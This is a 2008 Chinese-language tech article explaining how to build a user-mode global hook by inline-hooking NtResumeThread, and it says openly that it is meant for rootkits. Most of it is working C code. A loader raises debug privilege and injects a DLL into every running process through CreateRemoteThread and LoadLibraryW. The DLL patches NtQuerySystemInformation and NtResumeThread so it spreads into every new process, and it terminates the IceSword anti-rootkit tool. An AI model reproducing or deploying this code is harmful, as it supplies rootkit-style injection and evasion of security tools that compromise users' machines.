首页 运维 网络学院 查看内容

挂钩 NtResumeThread 实现全局Hook

2008-7-7 15:52 597 0

摘要: 挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑...
关键词: information hProcess NULL NTSTATUS nbsp DWORD SystemInformatio NtResumeThread 进程 NtQuerySystemInf

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是无法接受蓝屏和死机的。   1. 以往的Ring 3全局Hook   纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:          HHOOK SetWindowsHookEx(   int idHook,   HOOKPROC lpfn,   HINSTANCE hMod,   DWORD dwThreadId   );   idhook 安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等   lpfn hook procedure 的指针   hmod 包含 hook procedure DLL 的handle   dwThread 为0   使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面   的程序,Windows console 类的程序就无能为力了。   还有一种通过插入注册表来实现    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs   这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。   以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess   这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。   a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,   而当NtCreateProcess返回时,进程又已经开始运行   b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可   以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只   用SetWindowsHookEx   c. 是否正好站在了华容道,是否足够底层。   似乎很费劲 2. 分析系统创建进程过程,寻找方法   CreateProcess 是 Kernel32.dll 的导出函数。   操起WinDbg,剁了一下: Windows 2003 SP2          lkd> uf CreateProcessW   kernel32!CreateProcessW:   7c802474 8bff mov edi,edi   7c802476 55 push ebp   7c802477 8bec mov ebp,esp   7c802479 6a00 push 0x0   7c80247b ff752c push dword ptr [ebp+0x2c]   7c80247e ff7528 push dword ptr [ebp+0x28]   7c802481 ff7524 push dword ptr [ebp+0x24]   7c802484 ff7520 push dword ptr [ebp+0x20]   7c802487 ff751c push dword ptr [ebp+0x1c]   7c80248a ff7518 push dword ptr [ebp+0x18]   7c80248d ff7514 push dword ptr [ebp+0x14]   7c802490 ff7510 push dword ptr [ebp+0x10]   7c802493 ff750c push dword ptr [ebp+0xc]   7c802496 ff7508 push dword ptr [ebp+0x8]   7c802499 6a00 push 0x0   7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)   7c8024a0 5d pop ebp   7c8024a1 c22800 ret 0x28   lkd> uf CreateProcessInternalW   ....   7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]   ....   7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]   ....   7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]   大概流程如下:          Kernel32!CreateProcessW   Kernel32!CreateProcessInternalW   ntdll!NtCreateProcessEx   ntdll!NtCreateThread   ntdll!NtResumeThread   因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。   所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,   但是进程并没有调度起来,呵呵,方便干坏事啊。3. 具体代码实现   基本思路已经清晰了,这里还几个问题。   a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时   调用的NtResumeThread呢?   其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到   NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。   b. 用什么方法Hook , IAT、Inline? 总的架构?   这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。   枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程[next]   创建时,将DLL 插入新进程。   下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。   c. 在多线程的环境下是否可靠?   使用关键代码段,互斥锁,效果还可以。 Loader:         void inject(HANDLE hProcess){   char CurPath[256] = {0};   strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");   PWSTR pszLibFileRemote = NULL;   int len = (lstrlen(CurPath)+1)*2;   WCHAR wCurPath[256];   MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);   pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,   NULL,   len,   MEM_COMMIT,   PAGE_READWRITE);   WriteProcessMemory(hProcess, pszLibFileRemote,   (PVOID) wCurPath, len, NULL);   PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)   GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");   CreateRemoteThread(hProcess,   NULL,   0,   pfnThreadRtn,   pszLibFileRemote,   0,   NULL);   }   void TotalInject()   {   HANDLE hProcessSnap = NULL;   BOOL bRet = FALSE;   PROCESSENTRY32 pe32 = {0};   // Take a snapshot of all processes in the system.   EnableDebugPrivilege(1);   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);   if (hProcessSnap == INVALID_HANDLE_VALUE)   return;   // Fill in the size of the structure before using it.   pe32.dwSize = sizeof(PROCESSENTRY32);   // Walk the snapshot of the processes, and for each process,   // display information.   if (Process32First(hProcessSnap, &pe32))   {   do   {   HANDLE hProcess;   // Get the actual priority class.   hProcess = OpenProcess (PROCESS_ALL_ACCESS,   FALSE,   pe32.th32ProcessID);   inject(hProcess);   CloseHandle(hProcess);   }   while (Process32Next(hProcessSnap, &pe32));   }   // Do not forget to clean up the snapshot object.   EnableDebugPrivilege(0);   CloseHandle (hProcessSnap);   return ;   }   Hook.dll: 关键代码   #include "stdafx.h"   #include    BOOL g_bHook = FALSE;   typedef LONG NTSTATUS;   #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)   #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)   #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)   typedef ULONG SYSTEM_INFORMATION_CLASS;   typedef ULONG THREADINFOCLASS;   typedef ULONG PROCESSINFOCLASS;   typedef ULONG KPRIORITY;   #define MEMORY_BASIC_INFORMATION_SIZE 28   typedef struct _THREAD_BASIC_INFORMATION {   NTSTATUS ExitStatus;   PNT_TIB TebBaseAddress;   CLIENT_ID ClientId;   KAFFINITY AffinityMask;   KPRIORITY Priority;   KPRIORITY BasePriority;   } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;   typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0   NTSTATUS ExitStatus;   PVOID PebBaseAddress;   KAFFINITY AffinityMask;   KPRIORITY BasePriority;   ULONG UniqueProcessId;   ULONG InheritedFromUniqueProcessId;   } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;   typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(   IN SYSTEM_INFORMATION_CLASS SystemInformationClass,   OUT PVOID SystemInformation,   IN ULONG SystemInformationLength,   OUT PULONG ReturnLength OPTIONAL );   typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(   IN HANDLE ThreadHandle,   OUT PULONG PreviousSuspendCount OPTIONAL   );   typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(   IN HANDLE ThreadHandle,   IN THREADINFOCLASS ThreadInformationClass,   OUT PVOID ThreadInformation,   IN ULONG ThreadInformationLength,   OUT PULONG ReturnLength OPTIONAL);   typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(   IN HANDLE ProcessHandle,   IN PROCESSINFOCLASS ProcessInformationClass,   OUT PVOID ProcessInformation,   IN ULONG ProcessInformationLength,   OUT PULONG ReturnLength OPTIONAL);   NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;   NTRESUMETHREAD g_pfNtResumeThread = NULL;   BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};   BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};   DWORD dwIdOld = 0;   CRITICAL_SECTION cs;   NTSTATUS __stdcall NewNtQuerySystemInformation(   IN ULONG SystemInformationClass,   IN PVOID SystemInformation,   IN ULONG SystemInformationLength,   OUT PULONG ReturnLength);   NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,   OUT PULONG PreviousSuspendCount OPTIONAL);   void WINAPI HookOn();   void WINAPI HookOff();   BOOL APIENTRY DllMain( HANDLE hModule,   DWORD ul_reason_for_call,   LPVOID lpReserved )   {   switch (ul_reason_for_call)   {   case DLL_PROCESS_ATTACH:   {   InitializeCriticalSection(&cs);   char Name[MAX_PATH] = {0};   GetModuleFileName(NULL, Name, MAX_PATH);   // 杀杀冰刃玩玩 [next]  if ( strstr(Name, "IceSword.exe") != NULL)   {   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,   0,   GetCurrentProcessId());   TerminateProcess(hProcess, 0);   CloseHandle(hProcess);   }   if(!g_bHook)   {   HookOn();   }   #ifdef _DEBUG   MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);   #endif   }   break;   case DLL_THREAD_ATTACH:   break;   case DLL_THREAD_DETACH:   break;   case DLL_PROCESS_DETACH:   if(g_bHook)   {   HookOff();   #ifdef _DEBUG   MessageBox(NULL, "Off!", "Hook Off", MB_OK);   #endif   DeleteCriticalSection(&cs);   }   break;   }   return TRUE;   }   BOOL EnableDebugPrivilege(BOOL fEnable) {   // Enabling the debug privilege allows the application to see   // information about service applications   BOOL fOk = FALSE; // Assume function fails   HANDLE hToken;   // Try to open this process's access token   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,   &hToken)) {   // Attempt to modify the "Debug" privilege   TOKEN_PRIVILEGES tp;   tp.PrivilegeCount = 1;   LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);   tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;   AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);   fOk = (GetLastError() == ERROR_SUCCESS);   CloseHandle(hToken);   }   return(fOk);   }   #define ThreadBasicInformation 0   void inject(HANDLE hProcess){   char CurPath[256] = {0};   GetSystemDirectory(CurPath, 256);   strncat(CurPath, "\\Hook.dll", 9);   //strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");   PWSTR pszLibFileRemote = NULL;   int len = (lstrlen(CurPath)+1)*2;   WCHAR wCurPath[256];   MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);   EnableDebugPrivilege(1);   pszLibFileRemote = (PWSTR)   VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);   WriteProcessMemory(hProcess, pszLibFileRemote,   (PVOID) wCurPath, len, NULL);   PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)   GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");   HANDLE hRemoteThread = CreateRemoteThread(hProcess,   NULL,   0,   pfnThreadRtn,   pszLibFileRemote,   0,   NULL);   WaitForSingleObject(hRemoteThread, INFINITE);   CloseHandle(hRemoteThread);   EnableDebugPrivilege(0);   }   NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,   OUT PULONG PreviousSuspendCount OPTIONAL)   {   NTSTATUS ret;   NTSTATUS nStatus;   NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;   NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;   THREAD_BASIC_INFORMATION ti;   DWORD Pid = 0;   HMODULE hNtdll = GetModuleHandle("ntdll.dll");   NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,   "NtQuerySystemInformation");   NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,   "NtQueryInformationThread");   if (NtQueryInformationThread == NULL)   {   #ifdef _DEBUG   MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);   #endif   }   nStatus = NtQueryInformationThread(ThreadHandle,   ThreadBasicInformation,   (PVOID)&ti,   sizeof(THREAD_BASIC_INFORMATION),   NULL);   if(nStatus != STATUS_SUCCESS)   {   #ifdef _DEBUG   MessageBox(NULL, "fuck failed", "", MB_OK);   #endif   }   Pid = (DWORD)(ti.ClientId.UniqueProcess);   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);   if (hProcess == NULL)   {   #ifdef _DEBUG   MessageBox(NULL, "open process failed", "", MB_OK);   #endif   }   BYTE FirstByte[1] = {0};   // check if the process has been hooked   ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);   // 已经被Hook了   if ( FirstByte[0] == 0xe9)   {   HookOff();   ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);   HookOn();   CloseHandle(hProcess);   return ret;   }   // 创建新进程的调用,Hook 之   else   {   HookOff();   inject(hProcess);   ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);   HookOn();   CloseHandle(hProcess);   return ret;   }   }   NTSTATUS __stdcall NewNtQuerySystemInformation(   IN ULONG SystemInformationClass,   IN PVOID SystemInformation,   IN ULONG SystemInformationLength,   OUT PULONG ReturnLength)   {   NTSTATUS ntStatus;   HookOff();   ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,   SystemInformation,   SystemInformationLength,   ReturnLength);   HookOn();   return ntStatus;   }   void WINAPI HookOn()   {   PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;   DWORD dwOldProtect, dwOldProtect2;   HANDLE hProcess = NULL;   dwIdOld = GetCurrentProcessId();   hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);   if(hProcess == NULL)   return ;   HMODULE hNtdll = GetModuleHandle("ntdll.dll");   g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,   "NtQuerySystemInformation");   if (g_pfNtQuerySystemInformation == NULL)   {   return;   }   g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");   if (g_pfNtResumeThread == NULL)   {   return;   }   EnterCriticalSection(&cs);   _asm   {   lea edi,g_OldNtQuerySystemInformation   mov esi,g_pfNtQuerySystemInformation   cld   mov ecx,5   rep movsb   lea edi,g_OldNtResumeThread   mov esi,g_pfNtResumeThread   cld   mov ecx,5   rep movsb   }   g_NewNtQuerySystemInformation[0] = 0xe9;   g_NewNtResumeThread[0] = 0xe9;   _asm   {   lea eax, NewNtQuerySystemInformation   mov ebx, g_pfNtQuerySystemInformation   sub eax, ebx   sub eax, 5   mov dword ptr [g_NewNtQuerySystemInformation + 1], eax   lea eax, NewNtResumeThread   mov ebx, g_pfNtResumeThread   sub eax, ebx   sub eax, 5   mov dword ptr [g_NewNtResumeThread + 1], eax   }   .......   LeaveCriticalSection(&cs);   g_bHook = TRUE;   }   // 还原被修改的代码   void WINAPI HookOff()   {   ......   g_bHook = FALSE;   }
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部